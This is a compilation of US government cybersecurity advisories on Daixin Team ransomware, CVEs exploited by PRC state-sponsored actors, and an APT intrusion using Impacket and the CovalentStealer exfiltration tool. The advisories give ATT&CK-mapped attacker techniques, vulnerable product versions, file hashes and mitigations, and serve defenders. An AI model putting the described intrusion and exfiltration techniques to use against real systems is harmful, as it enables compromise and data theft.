System Network Configuration Discovery: Internet Connection Discovery
T1016.001
The actors’ malware tests for internet connectivity by pinging 8.8.8.8.
Mitigation: Monitor executed commands, arguments [DS0017] and executed processes (e.g., tracert or ping) [DS0009] that may check for internet connectivity on compromised systems.
Lateral Movement
Technique Title
ID
Use
Recommendations
Remote Services: Remote Desktop Protocol
T1021.001
The actors used RDP to move laterally to multiple hosts on the network.
Mitigation: Use MFA for remote logins [M1032].
Mitigation: Disable the RDP service if it is unnecessary [M1042].
Mitigation: Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network [M1030].
Mitigation: Consider removing the local Administrators group from the list of groups allowed to log in through RDP [M1026].
Detection: Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10). Other factors, such as access patterns (ex: multiple systems over a relatively short period of time) and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP [DS0028].
Command and Control
Technique Title
ID
Use
Recommendations
Proxy
T1090
The actors used Ngrok to proxy RDP connections and to perform command and control.
Mitigation: Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists [M1037].
Detection: Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure) [DS0029].
Ingress Tool Transfer
T1105
The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.
Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049].
INCIDENT RESPONSE
If suspected initial access or compromise is detected based on IOCs or TTPs in this CSA, CISA encourages organizations to assume lateral movement by threat actors and investigate connected systems and the DC.
CISA recommends organizations apply the following steps before applying any mitigations, including patching.
Mitigations
CISA and FBI recommend implementing the mitigations below and in Table 1 to improve your organization’s cybersecurity posture on the basis of threat actor behaviors.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
References
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
AA22-294A: #StopRansomware: Daixin Team
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: October 21, 2022 | Last revised: October 26, 2022
Summary
Actions to take today to mitigate cyber threats from ransomware:
• Install updates for operating systems, software, and firmware as soon as they are released.
• Require phishing-resistant MFA for as many services as possible.
• Train users to recognize and report phishing attempts.
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Department of Health and Human Services (HHS) are releasing this joint CSA to provide information on the “Daixin Team,” a cybercrime group that is actively targeting U.S. businesses, predominantly in the Healthcare and Public Health (HPH) Sector, with ransomware and data extortion operations.
This joint CSA provides TTPs and IOCs of Daixin actors obtained from FBI threat response activities and third-party reporting.
Download the PDF version of this report: pdf, 591 KB
Download the IOCs: .stix 23.2 kb
Technical Details
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.
Cybercrime actors routinely target HPH Sector organizations with ransomware:
The Daixin Team is a ransomware and data extortion group that has targeted the HPH Sector with ransomware and data extortion operations since at least June 2022. Since then, Daixin Team cybercrime actors have caused ransomware incidents at multiple HPH Sector organizations where they have:
Daixin actors gain initial access to victims through virtual private network (VPN) servers. In one confirmed compromise, the actors likely exploited an unpatched vulnerability in the organization’s VPN server [T1190]. In another confirmed compromise, the actors used previously compromised credentials to access a legacy VPN server [T1078] that did not have multifactor authentication (MFA) enabled. The actors are believed to have acquired the VPN credentials through the use of a phishing email with a malicious attachment [T1598.002].
After obtaining access to the victim’s VPN server, Daixin actors move laterally via Secure Shell (SSH) [T1563.001] and Remote Desktop Protocol (RDP) [T1563.002]. Daixin actors have sought to gain privileged account access through credential dumping [T1003] and pass the hash [T1550.002]. The actors have leveraged privileged accounts to gain access to VMware vCenter Server and reset account passwords [T1098] for ESXi servers in the environment. The actors have then used SSH to connect to accessible ESXi servers and deploy ransomware [T1486] on those servers.
According to third-party reporting, the Daixin Team’s ransomware is based on leaked Babuk Locker source code. This third-party reporting as well as FBI analysis show that the ransomware targets ESXi servers and encrypts files located in
/vmfs/volumes/
with the following extensions:.vmdk
,.vmem
,.vswp
,.vmsd
,.vmx
, and.vmsn
. A ransom note is also written to/vmfs/volumes/
. See Figure 1 for targeted file system path and Figure 2 for targeted file extensions list.Figure 3
andFigure 4
include examples of ransom notes. Note that in the Figure 3 ransom note, Daixin actors misspell “Daixin” as “Daxin.”Figure 1: Daixin Team – Ransomware Targeted File Path
Figure 2: Daixin Team – Ransomware Targeted File Extensions
Figure 3: Example 1 of Daixin Team Ransomware Note
Figure 4: Example 2 of Daixin Team Ransomware Note
In addition to deploying ransomware, Daixin actors have exfiltrated data [TA0010] from victim systems. In one confirmed compromise, the actors used Rclone—an open-source program to manage files on cloud storage—to exfiltrate data to a dedicated virtual private server (VPS). In another compromise, the actors used Ngrok—a reverse proxy tool for proxying an internal service out onto an Ngrok domain—for data exfiltration [T1567].
MITRE ATT&CK TACTICS AND TECHNIQUES
See Table 1 for all referenced threat actor tactics and techniques included in this advisory.
Table 1: Daixin Actors’ ATT&CK Techniques for Enterprise
Reconnaissance
Technique Title
ID
Use
Phishing for Information: Spearphishing Attachment
T1598.002
Daixin actors have acquired the VPN credentials (later used for initial access) by a phishing email with a malicious attachment.
Initial Access
Technique Title
ID
Use
Exploit Public-Facing Application
T1190
Daixin actors exploited an unpatched vulnerability in a VPN server to gain initial access to a network.
Valid Accounts
T1078
Daixin actors use previously compromised credentials to access servers on the target network.
Persistence
Technique Title
ID
Use
Account Manipulation
T1098
Daixin actors have leveraged privileged accounts to reset account passwords for VMware ESXi servers in the compromised environment.
Credential Access
Technique Title
ID
Use
OS Credential Dumping
T1003
Daixin actors have sought to gain privileged account access through credential dumping.
Lateral Movement
Technique Title
ID
Use
Remote Service Session Hijacking: SSH Hijacking
T1563.001
Daixin actors use SSH and RDP to move laterally across a network.
Remote Service Session Hijacking: RDP Hijacking
T1563.002
Daixin actors use RDP to move laterally across a network.
Use Alternate Authentication Material: Pass the Hash
T1550.002
Daixin actors have sought to gain privileged account access through pass the hash.
Exfiltration
Technique Title
ID
Use
Exfiltration Over Web Service
T1567
Daixin Team members have used Ngrok for data exfiltration over web servers.
Impact
Technique Title
ID
Use
Data Encrypted for Impact
T1486
Daixin actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.
INDICATORS OF COMPROMISE
See Table 2 for IOCs obtained from third-party reporting.
Table 2: Daixin Team IOCs – Rclone Associated SHA256 Hashes
File
SHA256
rclone-v1.59.2-windows-amd64git-log.txt
9E42E07073E03BDEA4CD978D9E7B44A9574972818593306BE1F3DCFDEE722238
rclone-v1.59.2-windows-amd64rclone.1
19ED36F063221E161D740651E6578D50E0D3CACEE89D27A6EBED4AB4272585BD
rclone-v1.59.2-windows-amd64rclone.exe
54E3B5A2521A84741DC15810E6FED9D739EB8083CB1FE097CB98B345AF24E939
rclone-v1.59.2-windows-amd64README.html
EC16E2DE3A55772F5DFAC8BF8F5A365600FAD40A244A574CBAB987515AA40CBF
rclone-v1.59.2-windows-amd64README.txt
475D6E80CF4EF70926A65DF5551F59E35B71A0E92F0FE4DD28559A9DEBA60C28
Mitigations
FBI, CISA, and HHS urge HPH Sector organizations to implement the following to protect against Daixin and related malicious activity:
Preparing for Ransomware
Mitigating and Preventing Ransomware
Responding to Ransomware Incidents
If a ransomware incident occurs at your organization:
Note: FBI, CISA, and HHS strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.
REFERENCES
REPORTING
The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Daixin Group actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. Regardless of whether you or your organization have decided to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to a local FBI Field Office, or CISA at cisa.gov/report.
ACKNOWLEDGEMENTS
FBI, CISA, and HHS would like to thank CrowdStrike and the Health Information Sharing and Analysis Center (Health-ISAC) for their contributions to this CSA.
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
AA22-279A: Top CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: October 6, 2022
Summary
This joint Cybersecurity Advisory (CSA) provides the top Common Vulnerabilities and Exposures (CVEs) used since 2020 by People’s Republic of China (PRC) state-sponsored cyber actors as assessed by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). PRC state-sponsored cyber actors continue to exploit known vulnerabilities to actively target U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks.
This joint CSA builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).
NSA, CISA, and FBI urge U.S. and allied governments, critical infrastructure, and private sector organizations to apply the recommendations listed in the Mitigations section and Appendix A to increase their defensive posture and reduce the threat of compromise from PRC state-sponsored malicious cyber actors.
For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage, FBI’s Industry Alerts, and NSA’s Cybersecurity Advisories & Guidance.
Download the PDF version of this report: pdf, 409 KB
Technical Details
NSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques—some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.
PRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.
Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020
Vendor
CVE
Vulnerability Type
Apache Log4j
CVE-2021-44228
Remote Code Execution
Pulse Connect Secure
CVE-2019-11510
Arbitrary File Read
GitLab CE/EE
CVE-2021-22205
Remote Code Execution
Atlassian
CVE-2022-26134
Remote Code Execution
Microsoft Exchange
CVE-2021-26855
Remote Code Execution
F5 Big-IP
CVE-2020-5902
Remote Code Execution
VMware vCenter Server
CVE-2021-22005
Arbitrary File Upload
Citrix ADC
CVE-2019-19781
Path Traversal
Cisco Hyperflex
CVE-2021-1497
Command Line Execution
Buffalo WSR
CVE-2021-20090
Relative Path Traversal
Atlassian Confluence Server and Data Center
CVE-2021-26084
Remote Code Execution
Hikvision Webserver
CVE-2021-36260
Command Injection
Sitecore XP
CVE-2021-42237
Remote Code Execution
F5 Big-IP
CVE-2022-1388
Remote Code Execution
Apache
CVE-2022-24112
Authentication Bypass by Spoofing
ZOHO
CVE-2021-40539
Remote Code Execution
Microsoft
CVE-2021-26857
Remote Code Execution
Microsoft
CVE-2021-26858
Remote Code Execution
Microsoft
CVE-2021-27065
Remote Code Execution
Apache HTTP Server
CVE-2021-41773
Path Traversal
These state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices.
Mitigations
NSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.
Appendix A
Table II: Apache CVE-2021-44228
Apache CVE-2021-44228 CVSS 3.0: 10 (Critical)
Vulnerability Description
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
There are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check https://nvd.nist.gov/vuln/detail/CVE-2021-44228.
Table III: Pulse CVE-2019-11510
Pulse CVE-2019-11510 CVSS 3.0: 10 (Critical)
Vulnerability Description
This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
Table IV: GitLab CVE-2021-22205
GitLab CVE-2021-22205 CVSS 3.0: 10 (Critical)
Vulnerability Description
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Gitlab CE/EE.
Table V: Atlassian CVE-2022-26134
Atlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1.
Recommended Mitigations
Detection Methods
N/A
Vulnerable Technologies and Versions
All supported versions of Confluence Server and Data Center
Confluence Server and Data Center versions after 1.3.0
Table VI: Microsoft CVE-2021-26855
Microsoft CVE-2021-26855 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
Microsoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Microsoft Exchange 2013, 2016, and 2019.
Table VII: F5 CVE-2020-5902
F5 CVE-2020-5902 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
F5 Big-IP Access Policy Manager
F5 Big-IP Advanced Firewall Manager
F5 Big-IP Advanced Web Application Firewall
F5 Big-IP Analytics
F5 Big-IP Application Acceleration Manager
F5 Big-IP Application Security Manager
F5 Big-IP Ddos Hybrid Defender
F5 Big-IP Domain Name System (DNS)
F5 Big-IP Fraud Protection Service (FPS)
F5 Big-IP Global Traffic Manager (GTM)
F5 Big-IP Link Controller
F5 Networks Big-IP Local Traffic Manager (LTM)
F5 Big-IP Policy Enforcement Manager (PEM)
F5 SSL Orchestrator
References
https://support.f5.com/csp/article/K00091341
https://support.f5.com/csp/article/K07051153
https://support.f5.com/csp/article/K20346072
https://support.f5.com/csp/article/K31301245
https://support.f5.com/csp/article/K33023560
https://support.f5.com/csp/article/K43638305
https://support.f5.com/csp/article/K52145254
https://support.f5.com/csp/article/K82518062
Table VIII: VMware CVE-2021-22005
VMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.
Recommended Mitigations
Detection Methods
N/A
Vulnerable Technologies and Versions
VMware Cloud Foundation
VMware VCenter Server
Table IX: Citrix CVE-2019-19781
Citrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
Recommended Mitigations
Detection Methods
N/A
Vulnerable Technologies and Versions
Citrix ADC, Gateway, and SD-WAN WANOP
Table X: Cisco CVE-2021-1497
Cisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Cisco Hyperflex Hx Data Platform 4.0(2A)
Table XI: Buffalo CVE-2021-20090
Buffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Buffalo Wsr-2533Dhpl2-Bk Firmware
Buffalo Wsr-2533Dhp3-Bk Firmware
Table XII: Atlassian CVE-2021-26084
Atlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5.
Recommended Mitigations
Detection Methods
N/A
Vulnerable Technologies and Versions
Atlassian Confluence
Atlassian Confluence Server
Atlassian Data Center
Atlassian Jira Data Center
Table XIII: Hikvision CVE-2021-36260
Hikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands.
Recommended Mitigations
Detection Methods
N/A
Vulnerable Technologies and Versions
Various Hikvision Firmware to include Ds, Ids, and Ptz
References
https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260
Table XIV: Sitecore CVE-2021-42237
Sitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Sitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2
Sitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7
Sitecore Experience Platform 8.0 Service Pack 1
Sitecore Experience Platform 8.1, and Update 1-Update 3
Sitecore Experience Platform 8.2, and Update 1-Update 7
Table XV: F5 CVE-2022-1388
F5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
Recommended Mitigations
Detection Methods
N/A
Vulnerable Technologies and Versions
Big IP versions:
16.1.0-16.1.2
15.1.0-15.1.5
14.1.0-14.1.4
13.1.0-13.1.4
12.1.0-12.1.6
11.6.1-11.6.5
Table XVI: Apache CVE-2022-24112
Apache CVE-2022-24112 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
A malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
Recommended Mitigations
Detection Methods
N/A
Vulnerable Technologies and Versions
Apache APISIX between 1.3 and 2.12.1 (excluding 2.12.1)
LTS versions of Apache APISIX between 2.10.0 and 2.10.4
Table XVII: ZOHO CVE-2021-40539
ZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical)
Vulnerability Description
Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Zoho Corp ManageEngine ADSelfService Plus
Table XVIII: Microsoft CVE-2021-26857
Microsoft CVE-2021-26857 CVSS 3.0: 7.8 (High)
Vulnerability Description
Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Microsoft Exchange Servers
Table XIX: Microsoft CVE-2021-26858
Microsoft CVE-2021-26858 CVSS 3.0: 7.8 (High)
Vulnerability Description
Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Microsoft Exchange Servers
Table XX: Microsoft CVE-2021-27065
Microsoft CVE-2021-27065 CVSS 3.0: 7.8 (High)
Vulnerability Description
Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Microsoft Exchange Servers
References
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065
Table XXI: Apache CVE-2021-41773
Apache CVE-2021-41773 CVSS 3.0: 7.5 (High)
Vulnerability Description
This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied,” these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013).
Recommended Mitigations
Detection Methods
Vulnerable Technologies and Versions
Apache HTTP Server 2.4.49 and 2.4.50
Fedoraproject Fedora 34 and 35
Oracle Instantis Enterprise Track 17.1-17.3
Netapp Cloud Backup
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
AA22-277A: Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: October 4, 2022 | Last revised: October 5, 2022
Summary
Actions to Help Protect Against APT Cyber Activity:
• Enforce multifactor authentication (MFA) on all user accounts.
• Implement network segmentation to separate network segments based on role and functionality.
• Update software, including operating systems, applications, and firmware, on network assets.
• Audit account usage.
From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data.
This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks.
Download the PDF version of this report: pdf, 692 KB
For a downloadable copy of IOCs, see the following files:
Technical Details
Threat Actor Activity
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework.
From November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted –third-party identified APT activity on the victim’s network.
Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN).
Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within theCU2hedebug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.
During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system.
In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA MAR-10365227-2 and -3.
In April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information.
APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.
Use of Impacket
CISA discovered activity indicating the use of two Impacket tools:wmiexec.py and smbexec.py . These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network.
The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization’s multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange:
This command gave the service account the ability to access other users’ mailboxes.
The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247.
Use of Custom Exfiltration Tool: CovalentStealer
The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files.
CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim’s documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA MAR-10365227-1 for additional technical details, including IOCs and detection signatures.
MITRE ATT&CK Tactics and Techniques
